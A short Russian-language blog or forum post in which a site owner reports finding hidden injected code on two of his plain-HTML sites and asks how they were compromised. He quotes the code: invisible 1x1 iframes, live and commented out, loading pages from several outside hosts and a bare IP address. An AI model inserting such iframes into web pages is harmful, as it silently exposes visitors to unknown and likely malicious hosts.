Взлом сайтов как средство продвижения

Случайно сегодня проверил один свой сайт и на морде нашел следующий код:

<iframe width=1 height=1 border=0 frameborder=0 src=\"http://zloi-sex.name/xc/\"></iframe><!--iframe width=1 height=1 border=0 frameborder=0 src=\"http://zloi-sex.name/xc/\"></iframe--><!--iframe width=1 height=1 border=0 frameborder=0 src=\"http://zloi-sex.name/xc/\">

Решил проверить все сайты, и ещё на одном нашел:

<iframe width=1 height=1 border=0 frameborder=0 src="http://zloi-sex.name/xc/"></iframe><!--iframe width=1 height=1 border=0 frameborder=0 src="http://zloi-sex.name/xc/"></iframe--><!--iframe width=1 height=1 border=0 frameborder=0 src="http://zloi-sex.name/xc/"></iframe--><!--iframe width=1 height=1 border=0 frameborder=0 src="http://81.95.146.241/ss3/index.php"></iframe--><!--iframe width=1 height=1 border=0 frameborder=0 src="http://traff.step57.info/mrx/"></iframe--><!--iframe width=1 height=1 border=0 frameborder=0 src="http://traff.step57.info/mrx/"></iframe--><!--iframe width=1 height=1 border=0 frameborder=0 src="http://traff.step57.info/mrx/"></iframe--><!--iframe width=1 height=1 border=0 frameborder=0 src="http://81.95.146.241/ss3/index.php"></iframe--><!--iframe width=1 height=1 border=0 frameborder=0 src="http://qufo.info/xc/"></iframe--><!--iframe width=1 height=1 border=0 frameborder=0 src="http://qufo.info/xc/"></iframe--><!--iframe width=1 height=1 border=0 frameborder=0 src="http://qufo.info/xc/"></iframe-->

<!--iframe width=1 height=1 border=0 frameborder=0 src="http://qufo.info/xc/"></iframe-->

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Как могли взломать ? если скриптов на сайтах нет. чистый хтмл